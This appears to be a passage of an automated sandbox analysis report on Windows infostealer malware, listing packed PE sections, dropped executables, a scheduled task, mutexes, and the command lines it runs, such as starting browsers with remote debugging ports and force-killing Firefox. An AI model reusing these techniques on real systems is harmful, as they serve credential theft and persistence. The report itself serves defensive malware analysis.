Source: random[1].exe0.27.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.27.dr	Static PE information: section name: .idata
Source: random[1].exe0.27.dr	Static PE information: section name:
Source: 1e42688e0b.exe.27.dr	Static PE information: section name:
Source: 1e42688e0b.exe.27.dr	Static PE information: section name: .rsrc
Source: 1e42688e0b.exe.27.dr	Static PE information: section name: .idata
Source: 1e42688e0b.exe.27.dr	Static PE information: section name:
Source: random[2].exe.27.dr	Static PE information: section name:
Source: random[2].exe.27.dr	Static PE information: section name: .idata
Source: random[2].exe.27.dr	Static PE information: section name:
Source: 36030a5366.exe.27.dr	Static PE information: section name:
Source: 36030a5366.exe.27.dr	Static PE information: section name: .idata
Source: 36030a5366.exe.27.dr	Static PE information: section name:
Source: random[2].exe0.27.dr	Static PE information: section name:
Source: random[2].exe0.27.dr	Static PE information: section name: .idata
Source: 2438692dfe.exe.27.dr	Static PE information: section name:
Source: 2438692dfe.exe.27.dr	Static PE information: section name: .idata

Source: C:\Users\user\DocumentsIDGIJEGHDA.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFBECD0	1_2_6CFBECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0E8D20	1_2_6D0E8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF5ECC0	1_2_6CF5ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D08AD50	1_2_6D08AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D02ED70	1_2_6D02ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF6AC60	1_2_6CF6AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0ECDC0	1_2_6D0ECDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D026C00	1_2_6D026C00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D03AC30	1_2_6D03AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF64DB0	1_2_6CF64DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFF6D90	1_2_6CFF6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A0F20	1_2_6D0A0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF6AEC0	1_2_6CF6AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFE6E90	1_2_6CFE6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D022F70	1_2_6D022F70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFFEE70	1_2_6CFFEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A8FB0	1_2_6D0A8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D03EFF0	1_2_6D03EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF60FE0	1_2_6CF60FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D040E20	1_2_6D040E20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF6EFB0	1_2_6CF6EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFCEF40	1_2_6CFCEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D000EC0	1_2_6D000EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF66F10	1_2_6CF66F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D01A9A0	1_2_6D01A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0209B0	1_2_6D0209B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFB0820	1_2_6CFB0820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFEA820	1_2_6CFEA820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D07C9E0	1_2_6D07C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF949F0	1_2_6CF949F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D034840	1_2_6D034840
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFF09A0	1_2_6CFF09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF98960	1_2_6CF98960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0668E0	1_2_6D0668E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFB6900	1_2_6CFB6900
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFDEA80	1_2_6CFDEA80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFDCA70	1_2_6CFDCA70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D000BA0	1_2_6D000BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D066BE0	1_2_6D066BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D00EA00	1_2_6D00EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D018A30	1_2_6D018A30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFA64D0	1_2_6CFA64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFFA4D0	1_2_6CFFA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D064540	1_2_6D064540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A8550	1_2_6D0A8550
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D000570	1_2_6D000570
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF78460	1_2_6CF78460
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFEA430	1_2_6CFEA430
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC4420	1_2_6CFC4420
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D02A5E0	1_2_6D02A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFEE5F0	1_2_6CFEE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF545B0	1_2_6CF545B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D08A480	1_2_6D08A480
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC2560	1_2_6CFC2560
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFB8540	1_2_6CFB8540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFBE6E0	1_2_6CFBE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFFE6E0	1_2_6CFFE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF846D0	1_2_6CF846D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFBC650	1_2_6CFBC650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF8A7D0	1_2_6CF8A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFE0700	1_2_6CFE0700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D044130	1_2_6D044130
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF700B0	1_2_6CF700B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF58090	1_2_6CF58090
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFAE070	1_2_6CFAE070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D02C000	1_2_6D02C000
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D028010	1_2_6D028010
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF601E0	1_2_6CF601E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D03C0B0	1_2_6D03C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC8140	1_2_6CFC8140
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFD6130	1_2_6CFD6130
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D07C360	1_2_6D07C360
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A2370	1_2_6D0A2370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFE8260	1_2_6CFE8260
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFF8250	1_2_6CFF8250
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D02A210	1_2_6D02A210
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFB43E0	1_2_6CFB43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D038220	1_2_6D038220
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFBE3B0	1_2_6CFBE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF923A0	1_2_6CF923A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF62370	1_2_6CF62370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFF6370	1_2_6CFF6370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0322A0	1_2_6D0322A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D02E2B0	1_2_6D02E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF68340	1_2_6CF68340
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0E62C0	1_2_6D0E62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFD2320	1_2_6CFD2320
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A9D90	1_2_6D0A9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF63C40	1_2_6CF63C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D031DC0	1_2_6D031DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF71C30	1_2_6CF71C30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D089C40	1_2_6D089C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF53D80	1_2_6CF53D80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D09DCD0	1_2_6D09DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D021CE0	1_2_6D021CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC3D00	1_2_6CFC3D00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0B7F20	1_2_6D0B7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF83EC0	1_2_6CF83EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D07DFC0	1_2_6D07DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0E3FC0	1_2_6D0E3FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D00BFF0	1_2_6D00BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D06DE10	1_2_6D06DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF81F90	1_2_6CF81F90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0E5E60	1_2_6D0E5E60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0BBE70	1_2_6D0BBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF55F30	1_2_6CF55F30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF95F20	1_2_6CF95F20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0AF900	1_2_6D0AF900
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF6D8E0	1_2_6CF6D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF938E0	1_2_6CF938E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D015920	1_2_6D015920
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D01D960	1_2_6D01D960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D031990	1_2_6D031990
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFBD810	1_2_6CFBD810
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00177049	27_2_00177049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00178860	27_2_00178860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_001778BB	27_2_001778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00172D10	27_2_00172D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_001731A8	27_2_001731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00134DE0	27_2_00134DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00167F36	27_2_00167F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00134B30	27_2_00134B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_0017779B	27_2_0017779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001E2A1A	27_1_001E2A1A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001EAE1B	27_1_001EAE1B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_0019E26F	27_1_0019E26F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_00203499	27_1_00203499
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001BB8DB	27_1_001BB8DB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_002310E0	27_1_002310E0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_00214DE2	27_1_00214DE2
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001DFFCC	27_1_001DFFCC

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF89B10 appears 83 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF83620 appears 74 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6D099F30 appears 31 times

Source: 2438692dfe.exe.27.dr	Static PE information: Data appended to the last section found
Source: random[2].exe0.27.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000001.00000002.1739620358.0000000023D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000001.00000002.1739620358.0000000023D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000001.00000002.1759308189.0000000070152000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: etqepvsz ZLIB complexity 0.9949481559350919
Source: random[1].exe.1.dr	Static PE information: Section: ZLIB complexity 0.998041553133515
Source: random[1].exe.1.dr	Static PE information: Section: cpijmpsi ZLIB complexity 0.9941924675663585
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: Section: ZLIB complexity 0.998041553133515
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: Section: cpijmpsi ZLIB complexity 0.9941924675663585
Source: skotes.exe.21.dr	Static PE information: Section: ZLIB complexity 0.998041553133515
Source: skotes.exe.21.dr	Static PE information: Section: cpijmpsi ZLIB complexity 0.9941924675663585
Source: random[1].exe.27.dr	Static PE information: Section: txzlxcxt ZLIB complexity 0.9946823795284845
Source: fd5d5b30e9.exe.27.dr	Static PE information: Section: txzlxcxt ZLIB complexity 0.9946823795284845
Source: random[1].exe0.27.dr	Static PE information: Section: ZLIB complexity 0.9979356210443038
Source: random[1].exe0.27.dr	Static PE information: Section: ounhvdhk ZLIB complexity 0.9943879513271056
Source: 1e42688e0b.exe.27.dr	Static PE information: Section: ZLIB complexity 0.9979356210443038
Source: 1e42688e0b.exe.27.dr	Static PE information: Section: ounhvdhk ZLIB complexity 0.9943879513271056
Source: random[2].exe.27.dr	Static PE information: Section: etqepvsz ZLIB complexity 0.9949481559350919
Source: 36030a5366.exe.27.dr	Static PE information: Section: etqepvsz ZLIB complexity 0.9949481559350919

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@86/320@81/30

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CFC0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

1_2_6CFC0300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\AFCCXPNZ.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9212:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\2c068073-7852-4c3c-9e10-2d00e5fe1168.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe, 00000001.00000002.1734182734.000000001DD06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1754245050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000001.00000002.1734182734.000000001DD06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1754245050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.1734182734.000000001DD06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1754245050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.1734182734.000000001DD06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1754245050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000001.00000002.1734182734.000000001DD06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1754245050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.1734182734.000000001DD06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1754245050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000001.00000002.1734182734.000000001DD06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1754245050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000001.00000003.1587063559.000000001DC0B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1493256693.000000001DC09000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2531090592.00000000058F9000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2527370989.0000000005917000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2570634848.0000000005988000.00000004.00000800.00020000.00000000.sdmp, FIEHDBGDHDAECBGDHJKF.1.dr, CAAEBKEGHJKEBFHJDBFC.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.1734182734.000000001DD06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1754245050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000001.00000002.1734182734.000000001DD06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1754245050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsIDGIJEGHDA.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2140,i,6862052502615090198,14872134904114190973,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2508 --field-trial-handle=2408,i,12531536969233449593,15668057242501277560,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6920 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7084 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDGIJEGHDA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDGIJEGHDA.exe "C:\Users\user\DocumentsIDGIJEGHDA.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6312 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe "C:\Users\user~1\AppData\Local\Temp\1007095001\fd5d5b30e9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe "C:\Users\user~1\AppData\Local\Temp\1007104001\1e42688e0b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe "C:\Users\user~1\AppData\Local\Temp\1007105001\36030a5366.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe "C:\Users\user~1\AppData\Local\Temp\1007106001\1e1f95e037.exe"
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
